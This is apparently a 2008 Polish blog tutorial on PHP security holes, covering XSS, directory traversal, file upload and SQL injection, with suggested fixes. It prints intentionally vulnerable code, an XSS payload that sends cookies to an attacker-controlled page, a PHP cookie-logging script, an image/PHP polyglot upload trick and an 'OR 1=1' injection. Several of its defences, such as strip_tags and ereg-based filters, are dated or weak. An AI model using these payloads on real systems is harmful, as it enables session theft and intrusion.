Luki bezpieczeństwa w skryptach PHP
14 July 2008
Comments
PHP pozwala tworzyć dynamiczne strony. Zazwyczaj takie strony posiadają system kontroli uprawnień (np. do panelu admina może wejść tylko admin) czy też zawiera poufne dane. Tworząc skrypt w dynamicznym języku musimy pamiętać że język jest głupi i zrobi wszystko na co mu pozwolimy - świadomie czy też nie.Ataki XSS - Cross Site Scripting i HTML injection
Ataki tego typu polegają na dodaniu kodu HTML, JavaScript czy też dowolnego innego kodu w języku "Client-side" - wykonywalnym po stronie odbiorcy strony (a nie serwera). Skrypt jest wrażliwy na tego typu ataki jeżeli nie sprawdza dokładnie jakie dane wprowadził użytkownik (np. posty na forum dyskusyjnym). Przykładowy kod:<?php
IF(isset($_POST['dane']))
{
echo 'Wpisałeś następujące dane:<br>';
echo $_POST['dane'];
// zapisać dane itd.
}
echo '<form action="bug.php" method="post"><input type="submit" value="wyślij"><input type="text" name="dane" size="14"></form>';
<script>alert(document.cookie);</script>
<?php
$f = fopen('cookies.txt', 'a');
$ip = $_SERVER['REMOTE_ADDR'];
$c = $_GET['cookie'];
fwrite($f, $ip.' '.$c."*N*");
fclose($f);
<script>document.location="http://Nasza strona/hack.php?cookie=" + document.cookie;</script>
Zabezpieczenia: po pierwsze wszystkie dane z formularza powinny być poddane działaniu funkcji strip_tags (jeżeli nie mają zawierać kodu HTML i innego) a jeżeli chcemy by kod HTML/inny był widoczny lecz nie wykonywalny (np. na forum) to dane wyświetlamy poprzez highlight_string.
Directory Traversal - czyli listowanie/dostęp do katalogów, do których dostępu nie powinniśmy mieć. Luka dość częsta w skryptach download/galerii listujących zawartość katalogów, np. takiego:
<?php
function download($patch = 'inne')
{
$katalog = @dir($patch) or die ('Can't read selected folder ');
while ($plik_kat = $katalog->read())
IF(is_file($patch.'/'.$plik_kat))
{
echo '- <a href="'.$patch.'/'.$plik_kat.'">'.$plik_kat.'</a><br>';
}
elseIF(is_dir($patch.'/'.$plik_kat))
{
echo '- <a href="bug.php?patch='.$patch.'/'.$plik_kat.'"><b>'.$plik_kat.'</b></a><br>';
}
$katalog->close();
}
IF(!isset($_GET['patch']))
{
download();
}
else
{
download($_GET['patch']);
}
<?php
IF(ereg('../', $_GET['patch']))
{
die('HACKING ATTEMPT :)');
}
Problemów _GET ciąg dalszy - zmienne w linkach są szczególnie narażone na modyfikacje... zmienne z _POST "można" modyfikować tylko treścią wysyłaną z formularza. Niektóre skrypty korzystają ze zmiennych _GET by np. wyświetlać komunikaty na stronie (zmienna=to jest tekst) - skrypt po prostu wyświetla wartość zmiennej - rozwiązanie bardzo niemądre. Jeżeli już musisz skorzystać z takiej opcji ustal listę komunikatów i nie wstawiaj ich do zmiennych w _GET, wystarczy np. dać komunikat=1 co wyświetli komunikat o id 1... _GET w odróżnieniu od _POST nigdy nie powinien (i za bardzo nie może) zawierać kodu HTML i innego:
<?php
$_GET = array_map("strip_tags", $_GET);
Wysyłanie plików na serwer - naprostszy przykład - dodawanie awatara. Należy pamiętać o sprawdzaniu typu ładowanego pliku (jakie ma rozszerzenie i czy jest plikiem graficznym). Służy do tego m.in. funkcja getimagesize. Funkcja ta zwraca wartość true jeżeli plik jest plikiem graficznym (a przynajmniej wygląda na taki). NIE wolno polegać na true/false tej funkcji, należy sprawdzać również typ ładowanego pliku gdyż funkcję getimagesize da się oszukać. Wystarczy do pliku graficznego dodać kod PHP.
cat grafika.png kod.php > do_uploadu.php
Powyższe polecenie (linux/unix) łączy dwa pliki w jeden zawierający na początku kod binarny pliku graficznego a na końcu kod PHP. Funkcja getimagesize traktuje taki plik jak grafikę:
Array ( [0] => 22 [1] => 22 [2] => 3 [3] => width="22" height="22" [bits] => 8 [mime] => image/png )
Array ( [name] => Array ( [0] => upload.php ) [type] => Array ( [0] => application/x-php ) [tmp_name] => Array ( [0] => /tmp/php1qIglg ) [error] => Array ( [0] => 0 ) [size] => Array ( [0] => 1339 ) )
SQL injection to modyfikacja zapytań do bazy danych. Najprostsze - w linku mamy np. numer ID artykułu. Jeżeli kod zapytania nie jest zabezpieczony to można zmodyfikować wartość ID tak by poszerzyło zapytanie... Przykładowe zapytanie:
$query = $this->action->query("SELECT * FROM ".$this->tables['rk_articles']." WHERE art_id = $_GET[id]");
Jeżeli artykuł wywołujemy linkiem np. article.php?id=12 to zamieńmy 12 na:
article.php?id=12 OR 1=1
RkBlog
Comment article